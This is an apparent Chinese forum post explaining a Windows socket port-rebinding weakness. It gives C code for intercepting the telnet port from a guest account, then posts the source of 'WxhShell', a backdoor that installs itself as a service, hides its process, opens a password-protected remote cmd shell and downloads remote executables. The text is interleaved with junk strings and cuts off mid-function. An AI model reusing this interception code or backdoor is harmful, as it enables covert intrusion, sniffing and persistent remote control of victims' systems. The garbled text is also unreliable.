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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: K >Q6 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \U<d)j/ yL %88,/ saddr.sin_family = AF_INET; VRTJKi Z23T2 saddr.sin_addr.s_addr = htonl(INADDR_ANY); [6Q1yNE M)~sL1) bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ]X> I(p@ BO2s(8 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ,H_d#Koa. rX0 ?m:&m 这意味着什么?意味着可以进行如下的攻击: R'pfA
B|! MDBqIL]Hc 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ~~@dbB %, S{9q 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) o]WcODJdl y>cLG5v 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
#jsN Wt.['`c< 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 ~14|y|\/ > Edsanx 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 86>@.:d sN K^.0 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 J50n
E~ cG&@PO]+. 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 hcM9Sx"! 2B^WZlx #include kgI8PybY #include NkoyEa/^[ #include 6s>io%,: #include T\#Gc4 DWORD WINAPI ClientThread(LPVOID lpParam); jrpki<D int main() I>q!co9n { H^dw=kS WORD wVersionRequested; J #5V>7G DWORD ret; hiv {A9a? WSADATA wsaData; _2{2Xb BOOL val; gjx-tp 1. SOCKADDR_IN saddr; qMoo#UX SOCKADDR_IN scaddr; xUNq!({T int err; 5gkQ6&m SOCKET s; /N#=Tol SOCKET sc; hAt4+O&P int caddsize; Lq2jXy5#n HANDLE mt; `q`ah_ DWORD tid; ^j@+!A_.Q wVersionRequested = MAKEWORD( 2, 2 ); 'u%vpvF err = WSAStartup( wVersionRequested, &wsaData ); vz)R84 if ( err != 0 ) { 8llXpe printf("error!WSAStartup failed!\n"); NwdrJw9 return -1; XpYd|BvW } e.^?hwl saddr.sin_family = AF_INET; M!i*DU+SE 4|\ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 x$t2Y<_ *3]2vq saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Kzz/] saddr.sin_port = htons(23); e*}:tH if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ysPm4am$ { l *{Bz5hc printf("error!socket failed!\n"); zhbSiw return -1; S}cR+d1}h } X{(?p=] val = TRUE; MPK rr //SO_REUSEADDR选项就是可以实现端口重绑定的 )a5ON8? if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) `,]_r4~ ~ { K#'$_0. printf("error!setsockopt failed!\n"); \ueCbfV!Z4 return -1; Jd?qvE>Pp } 59p'U /| //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; |KZX_4 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 +SE \c //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 @.c[z D ^vTx%F if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) mkfDDl2 GP { [qxU
\OSC ret=GetLastError(); Vf.*!`UH printf("error!bind failed!\n"); F=a return -1; O jNOvh&N } 5%4yUd#b listen(s,2); ,CN(;z) while(1) Z"qJil} { ^Bo'87!. caddsize = sizeof(scaddr); on"ENT //接受连接请求 C<(qk _ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); KJv%t_4'F if(sc!=INVALID_SOCKET) !@wUARQ { {$5g29 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Ux{0)"fj if(mt==NULL) 3)L#V
. { bBV03_* printf("Thread Creat Failed!\n"); q#I'@Jbj break; u c}tTmB| } ~H:=p } U&=pKbTe CloseHandle(mt); 8aC=k@YE } _n!>*A! closesocket(s); mIp> ~ WSACleanup(); ~:PM_o*6 return 0; oO`a {n- } A:D9qp DWORD WINAPI ClientThread(LPVOID lpParam) ^FQn\, { .t8hTlV?<B SOCKET ss = (SOCKET)lpParam; /I1n${{5 SOCKET sc; w<zzS:PF* unsigned char buf[4096]; ,qo^G0XO SOCKADDR_IN saddr; mXS"nd30bD long num; WPrBK{B`o DWORD val; e igVT4 DWORD ret; zg@i7T //如果是隐藏端口应用的话,可以在此处加一些判断 .o5K X* //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 VbMud]40F saddr.sin_family = AF_INET; hOkn@F. saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ,grx'to(X saddr.sin_port = htons(23); ^^*L;b>I if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |(2#KMEWa { b:r8r}49 printf("error!socket failed!\n"); T8)X?>CIW return -1; 3$Vx8:Rhdn } -QR]BD%J*[ val = 100; Qx3eEt@X5] if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `IJ)'$pn { /OB) \{- ret = GetLastError(); Z!Z{Gm3 return -1; a(*"r:/lD } )f8 ;ze if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?.uhp { k@s<*C ret = GetLastError(); ssS"X@VZ
\ return -1; 08{^Ksg } g kV`ZT9 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) [s\8@5?E
{ #_`p
0wY printf("error!socket connect failed!\n"); ^$C&{% closesocket(sc); NFtA2EMLu[ closesocket(ss); MK @rx6<9 return -1; `HnZ{PKf } 6uKth mr while(1) L+T'TC: { :?LNP3} //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 {Rb;1 eYj //如果是嗅探内容的话,可以再此处进行内容分析和记录 B
u%%O8 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 t#8QyN num = recv(ss,buf,4096,0); ~3%\8,0 if(num>0) 4}t&yu<P> send(sc,buf,num,0); I Z*) else if(num==0) (v
KJyk+Y break; - US>]. num = recv(sc,buf,4096,0); H3vnc\d~ if(num>0) a&2x;diF send(ss,buf,num,0); EYZ&%.Sy5 else if(num==0) Y2tBFeWY break; !4gHv4v; } #@5VT*/7 closesocket(ss); .fhfb\$ closesocket(sc); <gGO return 0 ; b<#zgf } SK&1l`3 BNA1"@9q xdDe@G;" ========================================================== t^>P,%$ V2AsZc0U( 下边附上一个代码,,WXhSHELL M;'GnGFf \,n
X/f ========================================================== EE | c@M^ J>G'H) #include "stdafx.h" EAm31v C 2~7*jA+Ab #include <stdio.h> @$L| #include <string.h> yi Xb<g+B #include <windows.h> aIQC[ry #include <winsock2.h> ^c9_ F9N #include <winsvc.h> nT2b"wkTT #include <urlmon.h> #`U?,>2q Y,yU460T8 #pragma comment (lib, "Ws2_32.lib") s]`6uyW" #pragma comment (lib, "urlmon.lib") %C #Ps #`=>Mza #define MAX_USER 100 // 最大客户端连接数 WA1yA*S #define BUF_SOCK 200 // sock buffer \ZhkOl #define KEY_BUFF 255 // 输入 buffer :w
Y%= N?#L{Yt #define REBOOT 0 // 重启 T][c^K* #define SHUTDOWN 1 // 关机 l+@k:IK +t1+1Zv #define DEF_PORT 5000 // 监听端口 \}9)`1D \o3s&{+y, #define REG_LEN 16 // 注册表键长度 xhCQRw #define SVC_LEN 80 // NT服务名长度 uPN^o.,/.
I![/bwObG // 从dll定义API } _];yw typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Wd(|w8J{a typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \fSruhD typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]9'F<T= $_ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
v0(}"0 VKu_l // wxhshell配置信息 !>!jLZ0 struct WSCFG { ubsv\[:C int ws_port; // 监听端口 g`C"t3~%S char ws_passstr[REG_LEN]; // 口令 i$}G[v<4 int ws_autoins; // 安装标记, 1=yes 0=no "}%j' char ws_regname[REG_LEN]; // 注册表键名 #nft{AN char ws_svcname[REG_LEN]; // 服务名 -kP2Brm char ws_svcdisp[SVC_LEN]; // 服务显示名 9-&@Y char ws_svcdesc[SVC_LEN]; // 服务描述信息 TNeL%s?B3 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {|j-e{* int ws_downexe; // 下载执行标记, 1=yes 0=no $AvaOI.l char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" p`Tl)[* char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Y#-c<o}f BT;1"l< }; '43U v <nV 3`L&] // default Wxhshell configuration tj8o6N# struct WSCFG wscfg={DEF_PORT, ;}KJ[5i-V "xuhuanlingzhe", 4AvIU!0w 1, TV_a(#S "Wxhshell", =>Z4vWX* "Wxhshell", n}1hmAhZ "WxhShell Service", qh&KNJ>1 "Wrsky Windows CmdShell Service", 9^ C6ZgNS "Please Input Your Password: ", Ln+ k_ 1, *!Gb_!98 " http://www.wrsky.com/wxhshell.exe", ;[g~h |{6 "Wxhshell.exe" A,4}
$-7 }; 4\ )WMP MIZ!+[At // 消息定义模块 [xGL0Z%)t char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; e$Y7V char *msg_ws_prompt="\n\r? for help\n\r#>"; RLLL=?W@ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; tpeMq- char *msg_ws_ext="\n\rExit."; {- MhhRa5 char *msg_ws_end="\n\rQuit."; wa&:86~l? char *msg_ws_boot="\n\rReboot..."; -cZuP7oA
char *msg_ws_poff="\n\rShutdown..."; z5<&}Vh;P char *msg_ws_down="\n\rSave to "; B=X_c5 V1G5Kph char *msg_ws_err="\n\rErr!"; "
;8kKR char *msg_ws_ok="\n\rOK!"; @8:c3(! =KnHa.% char ExeFile[MAX_PATH]; :'fK`G
6 int nUser = 0; {+kWK;1 HANDLE handles[MAX_USER]; L+lye Ir' int OsIsNt; :,/
\E XC390t SERVICE_STATUS serviceStatus; (f#{<^ gd SERVICE_STATUS_HANDLE hServiceStatusHandle; JE$$6X LA6Ik_-F // 函数声明 ~aL?{kb+ int Install(void); Hb^ovc0 int Uninstall(void); lfwBUb int DownloadFile(char *sURL, SOCKET wsh); v"J|Ebx int Boot(int flag); w#bdb; void HideProc(void); cyL|.2, int GetOsVer(void); oK"#*n int Wxhshell(SOCKET wsl); T0\[":
A void TalkWithClient(void *cs); #\z"k<{* int CmdShell(SOCKET sock); [E}pU8.t6 int StartFromService(void); *s2 C+@ef int StartWxhshell(LPSTR lpCmdLine); 1'k,P;s =)Goip VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ZQ_~
L!ot VOID WINAPI NTServiceHandler( DWORD fdwControl ); dGR #l) IY(;:#l // 数据结构和表定义 (51;cj>J SERVICE_TABLE_ENTRY DispatchTable[] = IUh)g1u41O { n.P $E {wscfg.ws_svcname, NTServiceMain}, j2n
4; m {NULL, NULL} 3}.OSt'= }; Y[ ;Z7p X%B2xQM5 // 自我安装 =A"z.KfV int Install(void) 3);Wgh6 { 8{CBWXo$) char svExeFile[MAX_PATH]; IF? HKEY key; pSpxd|k strcpy(svExeFile,ExeFile); #N\<(SD/ #q?:Act // 如果是win9x系统,修改注册表设为自启动 HuD~(CI. if(!OsIsNt) { *NIhYg6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5*$z4O:Aa RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [{+ZQd RegCloseKey(key); #Z_f/@b if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lstnxi%x RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >LEp EMJ\ RegCloseKey(key); S?~/
V ] return 0; 7{f{SIB } Psjk
7\ } M:K4o% } SR9M:%dga else { TiI3<.a! .ldBl // 如果是NT以上系统,安装为系统服务 piPV&ytI SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Jqt|'G3 if (schSCManager!=0) ~$4!C'0 { v%Su#xq/ SC_HANDLE schService = CreateService T@N)BfkB
( qNbgN{4 schSCManager, Ymg,NkiP0 wscfg.ws_svcname, @'?7au '' wscfg.ws_svcdisp, .[o?qCsw SERVICE_ALL_ACCESS, 28xLaob SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~NO'8Mr SERVICE_AUTO_START, 3:!5 ] SERVICE_ERROR_NORMAL, BOW`{= svExeFile, z8w@pT NULL, ]i'gU(+;` NULL, I%ZSh]On NULL, M 0RVEhX NULL, B+=Xb;p8 NULL \YF'qWB ); fu`|@S if (schService!=0) brt`oR { Cqw`K P CloseServiceHandle(schService); J`A )WsKkb CloseServiceHandle(schSCManager); YoRD9M~iG~ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); G/}nwj\ strcat(svExeFile,wscfg.ws_svcname); K6oQx)| if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { A)o%\j RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); f<2<8xS RegCloseKey(key); G%fNGQwT return 0; Kdb:Q0B } ^g N?Io } s!K9-qZl< CloseServiceHandle(schSCManager); K9euNa } zzyD'n7D } !X/O1PM| 1?ST*b return 1; DUu~s,A } I~U;M+n*y 14rX:z // 自我卸载 [c#?@S_ int Uninstall(void) I-|1eR+3 { EoHrXv HKEY key; a/p
/< r1Cq8vD*m if(!OsIsNt) { (C8r^m|A if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
$T}Dn[. RegDeleteValue(key,wscfg.ws_regname); %KmhR2v RegCloseKey(key); )u_[cEJHO if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]A dL RegDeleteValue(key,wscfg.ws_regname); 5B+I\f& RegCloseKey(key); q#1CmKt4R return 0; zvP>8[
} #jR1ti)p } *6P)HU@ } $8Y|&P else { wg 6 _,]@xFCOH SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3!KEk?I] if (schSCManager!=0) }Fgp*x-G { &$E.rgtg SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )u(Dq u\t if (schService!=0) bmGtYv { GxcW^{; if(DeleteService(schService)!=0) { 5_Opx= CloseServiceHandle(schService); ALnE[}N6, CloseServiceHandle(schSCManager); 5Lm<3:7Q+ return 0; 3r,^is } @
Yzj CloseServiceHandle(schService); 91j.%#[v' } t_ZWd#x+; CloseServiceHandle(schSCManager); RkXW(T` } [^E{Yz=8, } `?xE-S
;Pn 5Gsjt+
o return 1; ^G]H9qY-e } D<XRu4^; y5lhmbl: e // 从指定url下载文件 !7fVO2m T int DownloadFile(char *sURL, SOCKET wsh) 9Kd:7@U { s~MCt|a HRESULT hr; qz/d6-0" char seps[]= "/"; K
yFR;.F- char *token; B< BS>(Nr> char *file; 14;lB.$p char myURL[MAX_PATH]; |9cSG),z char myFILE[MAX_PATH]; /"OJ~e_% xSoXf0zq: strcpy(myURL,sURL); `tZ`a token=strtok(myURL,seps); /QCyA%y while(token!=NULL) AIa#t#8${ { (dVrGa54 file=token; :#zv,U&OC token=strtok(NULL,seps); ?3+>% bO } :*{\oqFn~$ _Zs]za.#)| GetCurrentDirectory(MAX_PATH,myFILE); 9J'3b < strcat(myFILE, "\\"); h9L/.>CX strcat(myFILE, file); >n^[-SWJCT send(wsh,myFILE,strlen(myFILE),0); >On"BP# U send(wsh,"...",3,0); Ks-aJ+} hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); v&*}O if(hr==S_OK) 4Gm (P~N return 0; N:Zf4 else gR:21*&cz return 1; |Zrkk>GW: R~&i8n. } -6u#:pVpU qo" _w%{ // 系统电源模块 L=WB'*N int Boot(int flag) 4\%XC
F! { mrz@Y0mgL HANDLE hToken; ngHPOI16 TOKEN_PRIVILEGES tkp; 6$^dOJ_" H0 .,h; if(OsIsNt) { }8cX0mZ1j OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $1$T2'C~+ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;BMm47< tkp.PrivilegeCount = 1; rCa2$#Z tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; HfgK0wIi AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Bpw<{U if(flag==REBOOT) { ,"W.A if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _z3YB return 0; `Gp!Y } _C97G& else { N>}2&'I if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;Jrk#7 return 0; Yi+~}YP.E( } ep3iI77/ } /4Lmu+G4 else { ?nAKB5= if(flag==REBOOT) { 3qc o2{nz if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \7Fkeo+ return 0; E5b JIC(
} p-t*?p
C else { d@72z r if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^BFD -p return 0; 0fTEb%z8 } sB,>4*Zd } [o,S.!W8 )d|hIW]7( return 1; 1#3 Qa{i } BsX#
~ SLze) ?. // win9x进程隐藏模块 ?) ~j>1"S void HideProc(void) yNb
:zoT { sC .R. {PCf'n HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); E |A,NPf%I if ( hKernel != NULL ) T?Dq2UW { CF`fn6 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); tyLR_@i%% ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); mxRe2<W FreeLibrary(hKernel); S-Y(Vn4 } `(9B(&t^, =!`\=!y return; >5jHgs# } [}OL@num UT9=S21 // 获取操作系统版本 HGgw<Os-k int GetOsVer(void) \O7?!i { Tcglt>tj" OSVERSIONINFO winfo; Ht'jm ( winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); V!SB9t`E GetVersionEx(&winfo); (1vmtg.O if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) CKTD27}) return 1; jnoFNIW else q$Ol"K@ return 0; (pjmE7`"P } afZPju"- IrRn@15, // 客户端句柄模块 adJoT-8P6 int Wxhshell(SOCKET wsl) 2rw<]Ce { "F+Wo& SOCKET wsh; Yb|zE struct sockaddr_in client; z^f-MgWG DWORD myID; ?ExfxR!~ \\D~Yg\# while(nUser<MAX_USER) A*h)p@3t< { rr[9sk`^H int nSize=sizeof(client); rwxJR@Ttn wsh=accept(wsl,(struct sockaddr *)&client,&nSize); fuH Dif, if(wsh==INVALID_SOCKET) return 1; X
|f'e@ .~5cNu'#m handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); K6,5C0 if(handles[nUser]==0) Mdh(Mp(w closesocket(wsh); _OF8D else P-~Avb nUser++; *TuoC5 } azB~>#H~ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); n^/,>7J qvOBvUR} return 0; d]e`t"Aj } <C4^Vem X/1Z9a+W // 关闭 socket !UUh7'W4u void CloseIt(SOCKET wsh) @T1>%oi { p;n )YY$ closesocket(wsh); U6=m4]~Z nUser--; U[S;5xeF.j ExitThread(0); ^;YD3EZw } i[ BR"( 2|~&x~ // 客户端请求句柄 ?<w +{ void TalkWithClient(void *cs) -o#0Yt}3 { >?e*;f$VdJ e_ 6
i896 SOCKET wsh=(SOCKET)cs; JoZC+G char pwd[SVC_LEN];
xuelo0h, char cmd[KEY_BUFF]; "0L@cOyG char chr[1]; LM _4.J int i,j; &V( LeSI wH#k~`M while (nUser < MAX_USER) { N13 <!QQ CWkm\= if(wscfg.ws_passstr) { No[xf9>t if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Dz)bP{iq" //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); oRu S_X //ZeroMemory(pwd,KEY_BUFF); A|>a
Gy i=0; wCvD4C.WH while(i<SVC_LEN) { t9pPG {1 `p^M\!h*O // 设置超时 qrX6FI fd_set FdRead; o7 !@WOeZ3 struct timeval TimeOut; ,iPkx( FD_ZERO(&FdRead); GZ'hj_2%< FD_SET(wsh,&FdRead); <6apv(2a TimeOut.tv_sec=8; g6W.Gl"5\w TimeOut.tv_usec=0; y+:< int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); wU#Q>ut'% if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9I RE@c #8/Z)-G if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dy`~%lX? pwd =chr[0]; {8jG6 if(chr[0]==0xd || chr[0]==0xa) { Q|G[9HBI pwd=0; '`o+#\,b^% break; m@c2'*&Y } w-nkf
M~ i++; 5WZLB = } 103Ik6.o _X.M,id // 如果是非法用户,关闭 socket Ar'5kPzY> if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); GV[[[fu } rbtPG=t_R \W@?revK send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); sox90o 7 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F37,u| <I|ryPU9{X while(1) { jA]xpf6} v5$zz w ZeroMemory(cmd,KEY_BUFF); A`r&"i OKA Y2$%%@ // 自动支持客户端 telnet标准 3]VTQl{P j=0; t1~*q)!Mo while(j<KEY_BUFF) { #-VKk if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w|5}V6WD cmd[j]=chr[0]; \R#XSW, if(chr[0]==0xa || chr[0]==0xd) { q5RLIstQ\ cmd[j]=0; etDB|(,z break; (8ymQ!aY } |n&6z j++; -0\$JAyrx } 7I.[1V` \dc`}}Lc // 下载文件 oD}I{&=wa if(strstr(cmd,"http://")) { P2Eyqd8 send(wsh,msg_ws_down,strlen(msg_ws_down),0); k<f*ns if(DownloadFile(cmd,wsh)) i/Hi send(wsh,msg_ws_err,strlen(msg_ws_err),0); (^Ln|3iz else -zTeIvcy5 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )t.q[O` } >ab=LDoM else {
:D/R #e0+;kBh switch(cmd[0]) { <St`"H (HJ60Hj // 帮助 Yp;x case '?': { "{:*fI;! send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _6[NYv$" break; ~gAx } }z*p2)v` // 安装 R`<E3J\* case 'i': { @F1pu3E if(Install()) bBQp:P?E send(wsh,msg_ws_err,strlen(msg_ws_err),0); w5nRgdboy! else FPMW"~v send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fGfv{4R break; 2-CK:)n/# } 2]'ozs$|v // 卸载 w])Sz*J case 'r': { &S{F"z if(Uninstall()) oc?VAF send(wsh,msg_ws_err,strlen(msg_ws_err),0); &KB{,:)? else r9U1 O@c send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9PBmBP~ break; a|>MueJ } AuCVpDH // 显示 wxhshell 所在路径
aqN.5'2\ case 'p': { 5Tu.2.)N char svExeFile[MAX_PATH]; :`|,a( strcpy(svExeFile,"\n\r"); *5NffiA}- strcat(svExeFile,ExeFile); BZBsE
:(F send(wsh,svExeFile,strlen(svExeFile),0); WV% KoM,% break; g?`J ,*y } I
F@M // 重启 Nf~<xK case 'b': { -Z@p
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); O| 2Q-
@D if(Boot(REBOOT)) _Dv^~e1c send(wsh,msg_ws_err,strlen(msg_ws_err),0); 83n: h08 else { ~Mx
fud closesocket(wsh); :z:Blp>nK/ ExitThread(0); )>/c/B } OwEz(pj@ break; pqe
tYu } 4M]8po/; // 关机 )<|T Ep4r- case 'd': { Q&J,"Vxw send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?-f>zx8O if(Boot(SHUTDOWN)) Cr`
0C send(wsh,msg_ws_err,strlen(msg_ws_err),0); Yc$|"to else { fS~.K9 closesocket(wsh); $1v5*E ExitThread(0); 0v_8YsZ!`$ } g DhwJks break; A"'MRYT` } {
nV zN( // 获取shell >&VL2xLy case 's': { %L/=heBBd CmdShell(wsh); (pmo[2kg closesocket(wsh); q2Kn3{ ExitThread(0); JVkawkeX break; x6t;= } |^F-.Z // 退出 eZ!k'bS= case 'x': { Vo%d;>!G\; send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); H@zk8]_P CloseIt(wsh); _x!pMj(A break; w# e'K-= } AUC<
m. // 离开 >$y
> case 'q': { FMn&2fH send(wsh,msg_ws_end,strlen(msg_ws_end),0); No7Q,p closesocket(wsh); Y[!a82MTzn WSACleanup(); ]Q3Gj@6 exit(1); 8VZ-`?p break;
zCHr } +[ItkfSod! } 2]+.8G7D% } j1ZFsTFMWp 9)">()8 // 提示信息 /Uc*7Y5j if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |$PLZ, } ng*%1;P } $ZS9CkN &f*d FUM]I return; |6>_L6t } aM~fRra7 f2wW2]Fg // shell模块句柄 L3AwL)I int CmdShell(SOCKET sock) zqh{=&Tjx { R*X2Z{n STARTUPINFO si; mw[4<vfB0a ZeroMemory(&si,sizeof(si)); +]-KzDsr"V si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9QMn%8=j si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2An`{') PROCESS_INFORMATION ProcessInfo; Bt,Xe~$z- char cmdline[]="cmd"; ju]]| CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &wN
2l- return 0; PlZiTP } K_QCYS. MbfzGYA2~ // 自身启动模式 eEQ[^i int StartFromService(void)
qR qy { yjd'{B9{ typedef struct (5~C
_Y { B$l`9!, DWORD ExitStatus; 9#<Og>t2y DWORD PebBaseAddress; 5-^%\?,x DWORD AffinityMask; j;)g+9` DWORD BasePriority; ^%&x{F. ULONG UniqueProcessId; 0?SLRz8 ULONG InheritedFromUniqueProcessId; Jdn*?hc+ } PROCESS_BASIC_INFORMATION; :,m)D775S BuTIJb+Q\ PROCNTQSIP NtQueryInformationProcess; opMUt,4 KIo}Gd& static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ZRB 0OH static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Yys~p2 PQ}%}S7: HANDLE hProcess; |8 bO5l: PROCESS_BASIC_INFORMATION pbi; {ah=i8$ {yR)}r HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Wq(l :W' if(NULL == hInst ) return 0; X:lPWz!7{ Net)l@IB] g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); W(h8!} g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); N}fUBX4k NtQueryInformationProcess = 